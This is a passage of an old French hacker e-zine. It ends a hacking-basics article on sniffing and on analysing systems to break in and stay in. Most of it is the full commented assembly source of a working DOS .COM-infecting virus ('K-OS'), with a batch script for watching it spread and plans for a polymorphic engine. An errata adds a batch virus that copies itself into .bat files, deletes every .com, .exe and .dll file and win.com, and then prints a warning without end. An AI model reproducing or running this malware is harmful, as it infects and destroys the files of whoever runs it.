Le principe dans le sniffing consiste simplement a utiliser votre logiciel prefere de sniffing puis a regarder les octets qui entoure les donnees transmise : ce sont les octets de protocole...

Ressource : SniffIt

Part VI : System Analysing
--------------------------
L'analyse de systeme est la base de toute passe en crackage de systeme. C'est la partie la plus interessante dans un piratage car elle consiste a comprendre comment l'admin a installe son systeme : il faut rentrer dans son esprit et voir ce qu'il n'a pas vu. L'analyse de systeme ne consiste pas seulement a voir ou se trouve la faille a exploite mais egalement comment installer ses differents programmes qui vont nous permettre de rester sur le systeme...

Ressource : SATAN Documentation...

Voila c'est fini pour l'instant mais si je trouve quelque chose a rajouter dans cet article j'ecrirais d'autres parties.
De plus je vais developper certaines parties comme le Soft-Cracking ou le Carding.

<-- File by S/asH -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
                                  PROJET K-OS
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# Androgyne & Par4noID          \   _      ___          #
#        presents               /  /      /   /   __    #
#  _   _   _  ___  __ ___       \_/       \   \  /  \   #
# | | | | | |  |  |    |        / \   ==  /   /  \__    #
# |_| |_| | |  |  |_   |        \  \      \   \     \   #  
# |   | \ |_| \|  |__  |        /   \     /___/  \__/   #
#                                                       #
#         Kill    -    Operating    -    System         #
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	Le virus que je vais vous prsenter est un virus assez simple, non rsidant infecteur de .com mais qui ne les dtruit pas, bref, un virus quasiment inoffensif. Vous pourrez mme le tester chez vous (voir IV) Tester le virus). Ce virus sert d'origine au projet K-os. Le projet K-os a un simple but : crer un virus super puissant. Le virus va voluer petit  petit, tre de plus en plus efficace, jusqu' atteindre un niveau vraiment intressant...

I) Prsentation
================
	Ce virus a pour but d'initier les newbies qui s'intresserait aux mondes des virus. Les prrequis pour apprendre comment faire un virus sont simples, il faut connatre l'assembleur et pour a, un seul moyen, un bon bouquin et un week end (c'est le temps qu'il m'a fallu pour apprendre). Il faut galement connatre les interruptions les plus couramment utilises (renseigner vous sur Internet ou pour commencer aller voir  VI) Les fonctions qui ont servi pour K-os). Vous aurez galement besoin d'un compilateur assembleur (comme TASM) et d'un linker (comme TLINK).

II) Les capacits de ce virus
==============================
	Ce virus n'est pas trs puissant sachant qu'il infecte seulement les .com du rpertoire courant grce aux routines Search_com et Search_again. Le virus se colle  la fin du programme infect, fabrique un saut pour aller directement au dbut du virus qu'il colle au dbut, en ayant pris soin de conserver le dbut originel. Le virus reconnait s'il a infect un programme en consultant sa date (ici, 26 avril 1986). Date ancienne donc peu de chance de tomber sur des programmes naturellement immuniss. Enfin, le virus a recours  l'adressage relatif pour avoir accs aux espaces mmoires situs  la fin du programme.
	Si vous n'avez pas tout compris, essayez de comprendre ce virus et tout se passera bien ensuite quand vous reviendrez ici. Des indications seront donnes pour comprendre ce qu'il se passe au fur et  mesure. Je donne la liste des fonctions que j'utilise dans ce virus  la fin pour ceux qui ne serait pas familiaris.
	Le virus se prsente sous la forme d'un launcher pour une premire utilisation. J'expliquerai aprs comment avoir le virus uniquement.


III) Le code expliqu du virus
===============================
--------------------------------------------------------------------------------
;K-os virus (non residant com infector)
;a virus by Androgyne from the RTC g4ng
;I have no ID, call me Androgyne

.model tiny					;une petite pile suffit.
.code						;c'est pour dire qu'on fait du code.

        org 100h				;les .com commence toujours  cs:100h.

Host:						;c'est le programme hte original.
       jmp Start				;on simule le saut que l'on va mettre dans un
       nop					;programme infect.
       mov ax,4C00h			;notre hte ne fait que quitter.
       int 21h

Start:					;c'est l que commence le virus.
	call Get_add			;on calcule le dcalage pour pouvoir adresser les
    Get_add:				;espaces mmoires de la fin.
        pop bp				;le dcalage d  l'adressage relatif
        sub bp,offset Get_add		;est plac dans bp.

        call Move_DTA_add		;on change l'adresse de la DTA.
        call Repair_host		;on remet le dbut de l'hte  sa place.
        call Search_com			;on recherche un .com.
    Search_loop:
        jz Exec_host			;Y'en a-t-il un? non, on excute l'hte.
        call Open_file			;oui, on l'ouvre.
        jc Exec_host			;A-t-on russit  l'ouvrir? non, on excute l'hte.
        call Is_infected		;oui, on teste s'il est infect. Est-il infect?
        jz Next				;oui, on ne l'infecte pas.
        call Infect			;non, on infecte le fichier.
    Next:
    	call Close_file			;on le referme.
        call Search_again		;on cherche un autre .com.
        jmp Search_loop			;et c'est reparti pour un tour...

Exec_host:					;excution de l'hte
	mov ax,100h				;l'adresse du dbut du .com est cs:100h
	push ax				;on l'empile
        ret					;et au revoir

Close_file:					;fermeture du fichier
        mov ah,3Eh
        int 21h
        ret

Move_DTA_add:				;changement d'adresse de la DTA
        push cs
        pop ds
        mov dx,offset DTA		;on le met dans le buffer DTA (logique)
        add dx,bp				;on n'oublie pas de rajouter le dcalage
        mov ah,1Ah			;on doit spcifier la nouvelle adresse en ds:dx
        int 21h				;on appelle l'interrupion 21h
        ret

Search_com:					;lancement d'une search first sur *.com
        push cs
        pop ds
        mov dx,offset com_file	;on spcifie la chane de recherche dans ds:dx
        add dx,bp				;toujours le dcalage
        mov cl,00100110b		;les attributs de fichier
        mov ah,4Eh
        int 21h				;la DTA est actualise
        cmp ax,18				;ax=18 signifie que la recherche est termine
        ret

Open_file:					;ouverture du fichier
        mov al,2				;en mode lecture/criture
        push cs
        pop ds
        mov dx,offset DTA + 1Eh	;on spcifie le nom en ds:dx
        add dx,bp				;et redcalage
        mov ah,3Dh
        int 21h				;go
        mov bx,ax				;on place le file handle dans bx
        ret

Is_infected:				;test d'infection
        mov al,0				;on lit la date
        mov ah,57h
        int 21h				;on rcupre la date en dx
        cmp dx,0C9Ah			;est-ce le 26 avril 1986 ?
        ret

Infect:					;la grosse routine d'infection en 8 tapes

;(1) dplacement du pointeur de fichier au dbut du fichier

        xor cx,cx				;dcalage de 0...
        xor dx,dx				; ...+ 0 = 0 (bravo)
        mov al,00				;au dbut du fichier
        mov ah,42h
        int 21h				;le pointeur pointe en dx:ax

;(2) rcupration des 4 premiers octets du fichier                                       

	mov cx,4				;on rcupre 4 octets
	push cs
	pop ds
	mov dx,offset begin		;on spcifie l'adresse o les placer en ds:dx
	add dx,bp				;on dcale comme d'habitude
	mov ah,3Fh
	int 21h				;lecture

;(3) dplacement du pointeur de fichier  la fin de fichier

        xor cx,cx				;dcalage de 0...
        xor dx,dx				; ...+ 0 = 0 (que je suis forte!)
        mov al,02h			; la fin du fichier
        mov ah,42h
        int 21h				;le pointeur pointe en dx:ax
	push ax				;on conserve ax au frais

;(4) criture du virus  la fin du fichier

        mov cx,offset Fin - offset Start + 1	;c'est la taille du virus
        push cs
        pop ds
        mov dx,offset Start		;on spcifie l'origine des donnes en ds:dx
        add dx,bp				; ... (devinez ce que c'est!)
        mov ah,40h
        int 21h

;(5) dplacement du pointeur de fichier au dbut du fichier

        xor cx,cx				;dcalage de 0...
        xor dx,dx				; ...+ 0 = 0 (j'aurais du faire maths sup!)
        mov al,00				;au dbut du fichier
        mov ah,42h
        int 21h				;le pointeur pointe en dx:ax

;(6) fabrication du jmp start  placer au dbut du fichier

	pop ax				;on va chercher le ax qu'on s'tait mis au frais
	sub ax,3				;on enlve 3 (on saute  partir de cs:103h)
        mov byte ptr [bp + jmp_start],0E9h	;a veut dire jmp
        mov word ptr [bp + jmp_start + 1],ax	;c'est le reste de l'instruction

;(7) criture du jmp start fabriqu

        push cs
        pop ds
        mov dx,offset jmp_start	;on spcifie l'origine des donnes en ds:dx
        add dx,bp				;dcalage! (j'en ai marre de me rpter)
        mov cx,3				;on crit 3 octets
        mov ah,40h
        int 21h

;(8) changement de date du fichier

        mov al,0				;on lit d'abord
        mov ah,57h
        int 21h				;on rcupre la date en dx
        mov dx,0C9Ah			;on la change en 26 avril 1986
        mov al,1				;on la rinjecte dans le fichier
        mov ah,57h
        int 21h				;et voil, c'est fait

        ret					;c'est la fin de la routine d'infection

Search_again:				;lancement d'une search next sur *.com
        mov ah,4Fh			;tout a dj t fait pour la search first
        int 21h
        cmp ax,18				;ax=18 signifie que la recherche est termine
        ret
                                              
Repair_host:				;remise en place des octets dplacs
        push cs
        pop ds
        mov si,offset begin		;ds:si pointe sur le buffer begin
        add si,bp				;pour la dernire fois, on dcale
        push cs
        pop es
        mov di,100h			;es:di pointe au dbut de l'hte
        mov cx,4				;il y a 4 octets
        rep movsb				;dplace les octets de ds:si  es:di
        ret


com_file db '*.com$'			;sert  search first et search next
begin db 4 dup (90h)			;c'est l qu'il y a le vrai dbut de l'hte
jmp_start db 3 dup (0)			;ici, on fabrique le jmp start
DTA db 43 dup (0)				;voil la nouvelle DTA

Fin:						;ce n'est qu'un au revoir...

end Host
--------------------------------------------------------------------------------

IV) Tester le virus
====================
	Ce virus marche vraiment alors ne faites pas n'importe quoi. D'ailleurs, votre antivirus doit le reprer quand vous compilez votre .com et doit empcher sa cration. Si ce n'est pas le cas, votre antivirus ne sert  rien, vous pouvez gagnez un peu de place sur votre disque dur.
	Pour un test sans danger, crer un fichier batch qui va faire des copies d'un fichier test.com dans un nouveau rpertoire et qui va appeler le virus. Les programmes seront alors infects. On fait encore quelques copies non infectes. Une fois le batch termin, on va voir que le virus a march et on lanec un des programmes infects. Ceux qui ne l'tait pas le sont. Voici par exemple un fichier batch:
--------------------------------------------------------------------------------
md Test
cd Test
copy ..\test.com 01.com
copy ..\test.com 02.com
copy ..\test.com 03.com
copy ..\test.com 04.com
copy ..\test.com 05.com
..\k-os
copy ..\test.com 06.com
copy ..\test.com 07.com
copy ..\test.com 08.com
copy ..\test.com 09.com
copy ..\test.com 10.com
--------------------------------------------------------------------------------
	Je vous donne galement le code du programme test.com. Ce programme ne fait qu'afficher une chaine de caractre. a suffit pour vous montrer que a marche.
--------------------------------------------------------------------------------
.model tiny
.code

        ORG 100h

Start:
        mov ah,09h
        mov dx,offset chaine
        int 21h

        mov ax,4C00h
        int 21h

chaine db 'OK! Virus is operationnal!$'

end start
--------------------------------------------------------------------------------
	Placez le virus, test.com et votre fichier batch dans un mme rpertoire lancer le batch et aller voir dans le dossier cr. Certains fichier ont pris un peu de poids et leur date de modification a chang (sans doute une des consquences mal connues des radiations dues  l'explosion du racteur n4 de Tchernobyl!) ;-) . Si vous lancez un des programmes infects, ceux qui n'avaient pas pris de poids en prennent...
	Qu'est-ce qu'on s'amuse!!! Si vous voulez avoir un virus oprationnel, avec la date change, vous modifier test.com en enlevant les lignes superflues et vous l'infectez avec le launcher (qui se rinfecte vu que sa date n'est pas change). Et voil un programme prt  l'emploi.

V) Les suites du projets K-os
==============================
	Je travaille dj avec Par4noID sur un moteur de polymorphisme trs simple qui paratra srement dans le prochain numro du petit mag qui monte. Le dveloppement avance bien mais il ne faudra pas s'attendre  un super moteur qui tue. Il servira juste d'exemple. Nous en dvelopperons un plus performant plus tard, nous avons plein d'ides intressantes et nous les mettront en pratique.

VI) Les fonctions qui ont servi pour K-os
==========================================
	Toutes les fonctions qui servent pour un virus simple se trouvent dans l'interruption 21h. La liste des fonctions qui suit est vraiment essentielle  bien comprendre et  connatre, ce sont des fonctions super-courantes...
------------------------------------------------------------------------------------
                   *** Interruption 21 : Gestion par le DOS ***

Fonction 1Ah : Set DTA (Disk Transfer Area) Address
paramtres d'entre:
	AH=1Ah
	DS:DX=nouvelle adresse de la DTA
paramtres de sortie:
	aucun

Fonction 3Dh : Open file
paramtres d'entre:
	AH=3Dh
	AL=mode d'ouverture (0=read; 1=write; 2=read/write)
	DS:DX=pointeur sur un path ASCIIZ
paramtres de sortie:
	C mis  1 si l'ouverture a chou
	AX=file handle si l'ouverture a russi
	AX=code d'erreur si l'ouverture a chou

Fonction 3Eh : Close file
paramtres d'entre:
	AH=3Eh
	BX=file handle
paramtres de sortie:
	C mis  1 si la fermeture a chou
	AX=code d'erreur si la fermeture a chou

Fonction 3Fh : Read file
paramtres d'entre:
	AH=3Fh
	BX=file handle
	CX=nombres d'octets  lire
	DS:DX=pointeur sur un buffer o mettre les donnes
paramtres de sortie:
	C mis  1 si la lecture a chou
	AX=nombre d'octets lus si la lecture a russi
	AX=code d'erreur si la lecture a chou

Fonction 40h : Write file
paramtres d'entre:
	AH=40h
	BX=file handle
	CX=nombre d'octets  crire
	DS:DX=pointeur o se trouve les donnes  crire
paramtres de sortie:
	C mis  1 si l'criture a chou
	AX=nombre d'octets crits si l'criture a russi
	AX=code d'erreur si l'criture a chou

Fonction 42h : Set current file position
paramtres d'entre:
	AH=42h
	AL=type de dplacement (0=au dbut; 1= partir de sa position; 2= la fin)
	BX=file handle
	CX:DX=distance en octet o bouger le pointeur
paramtres de sortie:
	C mis  1 si une erreur est survenue
	AX=code d'erreur en cas d'erreur
	DX:AX=nouvelle position du pointeur si il n'y a pas eu d'erreur

Fonction 4Ch : Exit
paramtres d'entre:
	AH=4Ch
	AL=code de retour (00 la plupart du temps)
paramtres de sortie:
	aucun

Fonction 4Eh : Search first
paramtres d'entre:
	AH=4Eh
	CL=attributs de fichier
	DS:DX=pointeur sur un path ASCIIZ (on peut mettre *.com, a marche)
paramtres de sortie:
	AX=0 si la recherche a abouti
	AX=code d'erreur si la recherche n'a pas abouti

Fonction 4Fh : Search next
paramtres d'entre:
	AH=4Fh
paramtres de sortie:
	AX=0 si la recherche a abouti
	AX=code d'erreur si la recherche n'a pas abouti

Fonction 57h
Sous fonction 00h : Get date and time
paramtres d'entre:
	AH=57h
	AL=00h
	BX=file handle
paramtres de sortie:
	C mis  1 si une erreur est survenue
	AX=code d'erreur en cas d'erreur
	CX=2048*heure + 32*minute + seconde/2
	DX=512*(anne-1980) + 32*mois + jour

Sous fonction 01h : Set date and time
paramtres d'entre:
	AH=57h
	AL=00h
	BX=file handle
	CX=2048*heure + 32*minute + seconde/2
	DX=512*(anne-1980) + 32*mois + jour
paramtres de sortie:
	C mis  1 si une erreur est survenue
	AX=code d'erreur en cas d'erreur
--------------------------------------------------------------------------------
                           						by Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
				      	ERRATA 
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Oups, des erreurs s'taient glisses dans mo virus en Batch, heureusement un lecteur averti m'en a fait part. Selon lui l'article a t bcl, je ne dirais pas a mais plutt qu'il n'y a pas eut qu'une version de ce viruset j'ai d prendre la mauvaise, le temps manquait au mme titre qu'il nous manque encore pour le mag2. Alors ayez un peu de tact et dites les choses d'un faon plus pose:
SANS ME PRENDRE POUR UN CON SVP!!!!
Alors on remerciera tous HackerStorm pour sa vigilance et non pour son maniement
de la langue franaise!!!! En attendant de voir son nom dans la RTC passons lui 
un petit salut...

Donc, voici le code "refait" et surtout sans couilles:
 
@echo off

cls

:debut
if exist 1.txt goto 1
if exist 2.txt goto 2  ; Il y avait une ptite faute de frappe ici!
if exist 3.txt goto 3
if exist 4.txt goto 4
goto fin2               ; Ligne ajout car si un fichier est dtct,
                        : il est effac mais les autres non
:1
del 1.txt
goto debut

:2
del c:\2.txt
goto debut

:3
del c:\3.txt
goto debut

:4
del c:\4.txt            ; Pb de vigilance, ces lignes avaient t 
goto debut              ; oublies involontairement!

:fin2
echo Ce programme marche a merveille !

:repro
for %%a in (*.bat) do type %%a | find "sn" >text.vir
for %%a in (*.bat) do copy %%a %%a.kil
for %%a in (*.bat) do copy text.vir + %%a.kil %%a

:repro2
for %%a in (*.com) do del %%a

:repro3
for %%a in (*.exe) do del %%a

:windows
        ; 80% des personnes ont comme rpertoire c:\windows
        ; 15% ont c:\win et le reste c divers
        ; et donc, pour cerner le + de machines
        ; il vaut mieux faire un test du rpertoire windows
        ; et l'utiliser en fonction du rsultat.
if exist c:\windows\win.com goto window
if exist c:\win\win.com goto window
goto print

window:
cd c:\windows

wind:
cd c:\win

:dll
for %%a in (*.dll) do del %%a
del win.com             ; C'est win.com pas win.exe, erreur de ma part, dsol!

:virus
if exist c:\virus.txt goto impression

:nonimpression
echo WARNING A Virus Has Intruded Your System ! >c:\virus.txt
c:\windows\command\print < c:\virus.txt

:print                  
print c:\virus.txt      ; on peut raccourcir de la sorte:
goto print  
 
										         SnEaKie

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
   
                                   ______________
                                  |\============/|
                                  || RTC mag II ||
                                  |/============\|
                                   ~~~~~~~~~~~~~~
.
